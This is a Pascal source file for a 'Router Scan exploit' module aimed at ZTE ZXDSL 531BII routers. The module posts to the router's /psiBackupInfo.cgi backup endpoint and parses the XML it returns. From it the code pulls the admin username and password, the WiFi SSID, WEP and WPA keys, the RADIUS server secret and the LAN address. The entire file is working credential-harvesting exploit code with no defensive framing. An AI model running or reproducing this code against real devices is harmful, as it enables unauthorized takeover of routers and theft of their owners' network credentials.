// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_MicroDSLpsiBackup(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  S: String;
  SList: TStringList;
  Tmp2: String;
begin
  // Affected:
  // ZTE ZXDSL 531BII V3.0.0d B09 OV
  Result := False;
  if ServerName <> 'micro_httpd' then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  SList := TStringList.Create;
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/psiBackupInfo.cgi',
  SList, S, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    if Pos('<psitree', S)>0 then begin
      if (Pos('<sysUserName value="', S)>0)
      and (Pos('<sysPassword value="', S)>0) then begin
        Result := True;
        AuthUser := HexInvToString(DeleteBetween(S, '<sysUserName value="', '"'));
        AuthPass := HexInvToString(DeleteBetween(S, '<sysPassword value="', '"'));
      end;

      Tmp := DeleteBetween(S, '<WirelessCfg>', '</WirelessCfg>');

      if DeleteBetween(Tmp, 'state="', '"') = 'disabled' then
        SetTableCell(stcRadioOff, stcCheckX);
      if DeleteBetween(Tmp, 'hide="', '"') = '1' then
        SetTableCell(stcHidden, stcCheckX);

      SSID := DeleteBetween(Tmp, 'ssId="', '"');
      SetTableCell(stcSSID, SSID);
      ReadonlySSID := True;

      Tmp2 := DeleteBetween(Tmp, 'authMode="', '"');
      if Tmp2 = 'open' then
        if DeleteBetween(Tmp, 'wep="', '"') <> 'enabled' then begin
          Sec := 'None';
          Pasw := '<empty>';
        end else
          Sec := 'WEP';
      if Tmp2 = 'shared' then
        Sec := 'WEP Shared';
      if Tmp2 = 'psk' then
        Sec := 'WPA';
      if Tmp2 = 'psk2' then
        Sec := 'WPA2';
      if Tmp2 = 'psk2mix' then
        Sec := 'WPA/WPA2';
      if Tmp2 = 'radius' then
        Sec := '802.1X';
      if Tmp2 = 'wpa' then
        Sec := 'WPA Enterprise';
      if Tmp2 = 'wpa2' then
        Sec := 'WPA2 Enterprise';
      if Tmp2 = 'wpa2mix' then
        Sec := 'WPA/WPA2 Enterprise';
      if (Sec = 'WEP')
      or (Sec = 'WEP Shared') then
        if DeleteBetween(Tmp, 'keyBit="', '"') = '64-bit' then begin
          if DeleteBetween(Tmp, 'keyType="', '"') = 'ASCII' then begin
            if DeleteBetween(Tmp, 'key64Index="', '"') = '0' then
              Pasw := DeleteBetween(Tmp, 'key64_a_1="', '"');
            if DeleteBetween(Tmp, 'key64Index="', '"') = '1' then
              Pasw := DeleteBetween(Tmp, 'key64_a_2="', '"');
            if DeleteBetween(Tmp, 'key64Index="', '"') = '2' then
              Pasw := DeleteBetween(Tmp, 'key64_a_3="', '"');
            if DeleteBetween(Tmp, 'key64Index="', '"') = '3' then
              Pasw := DeleteBetween(Tmp, 'key64_a_4="', '"');
            if CheckHex(Pasw) then
              Pasw := HexInvToString(Pasw);
          end else begin
            if DeleteBetween(Tmp, 'key64Index="', '"') = '0' then
              Pasw := DeleteBetween(Tmp, 'key64_1="', '"');
            if DeleteBetween(Tmp, 'key64Index="', '"') = '1' then
              Pasw := DeleteBetween(Tmp, 'key64_2="', '"');
            if DeleteBetween(Tmp, 'key64Index="', '"') = '2' then
              Pasw := DeleteBetween(Tmp, 'key64_3="', '"');
            if DeleteBetween(Tmp, 'key64Index="', '"') = '3' then
              Pasw := DeleteBetween(Tmp, 'key64_4="', '"');
            if CheckHex(Pasw) then
              Pasw := HexInvToString(Pasw);
            WEPHexToAnsi(Pasw);
          end;
          if Sec = 'WEP' then
            Sec := 'WEP 64'
          else
            Sec := 'WEP 64 Shared';
        end else begin
          if DeleteBetween(Tmp, 'keyType="', '"') = 'ASCII' then begin
            if DeleteBetween(Tmp, 'key128Index="', '"') = '0' then
              Pasw := DeleteBetween(Tmp, 'key128_a_1="', '"');
            if DeleteBetween(Tmp, 'key128Index="', '"') = '1' then
              Pasw := DeleteBetween(Tmp, 'key128_a_2="', '"');
            if DeleteBetween(Tmp, 'key128Index="', '"') = '2' then
              Pasw := DeleteBetween(Tmp, 'key128_a_3="', '"');
            if DeleteBetween(Tmp, 'key128Index="', '"') = '3' then
              Pasw := DeleteBetween(Tmp, 'key128_a_4="', '"');
            if CheckHex(Pasw) then
              Pasw := HexInvToString(Pasw);
          end else begin
            if DeleteBetween(Tmp, 'key128Index="', '"') = '0' then
              Pasw := DeleteBetween(Tmp, 'key128_1="', '"');
            if DeleteBetween(Tmp, 'key128Index="', '"') = '1' then
              Pasw := DeleteBetween(Tmp, 'key128_2="', '"');
            if DeleteBetween(Tmp, 'key128Index="', '"') = '2' then
              Pasw := DeleteBetween(Tmp, 'key128_3="', '"');
            if DeleteBetween(Tmp, 'key128Index="', '"') = '3' then
              Pasw := DeleteBetween(Tmp, 'key128_4="', '"');
            if CheckHex(Pasw) then
              Pasw := HexInvToString(Pasw);
            WEPHexToAnsi(Pasw);
          end;
          if Sec = 'WEP' then
            Sec := 'WEP 128'
          else
            Sec := 'WEP 128 Shared';
        end;
      if (Sec = 'WPA')
      or (Sec = 'WPA2')
      or (Sec = 'WPA/WPA2') then begin
        Pasw := DeleteBetween(Tmp, 'wpakey="', '"');
        if CheckHex(Pasw) then
          Pasw := HexInvToString(Pasw);
      end;
      if (Sec = '802.1X')
      or (Sec = 'WPA Enterprise')
      or (Sec = 'WPA2 Enterprise')
      or (Sec = 'WPA/WPA2 Enterprise') then
        Pasw := 'Radius server: ' +
        DeleteBetween(Tmp, 'radiusServerIP="', '"') + ':' +
        DeleteBetween(Tmp, 'radiusServerPort="', '"') +
        ', password: ' +
        DeleteBetween(Tmp, 'radiusServerKey="', '"');
      SetTableCell(stcSec, Sec);
      ReadonlySec := True;
      SetTableCell(stcKey, Pasw);
      ReadonlyKey := True;

      Tmp := DeleteBetween(S, '<Lan>', '</Lan>');
      LAN := DeleteBetween(Tmp, 'address="', '"');
      SetTableCell(stcLANIP, LAN);
      LAN := DeleteBetween(Tmp, 'mask="', '"');
      SetTableCell(stcLANMask, LAN);
      ReadonlyLAN := True;
    end;
  SList.Free;
end;
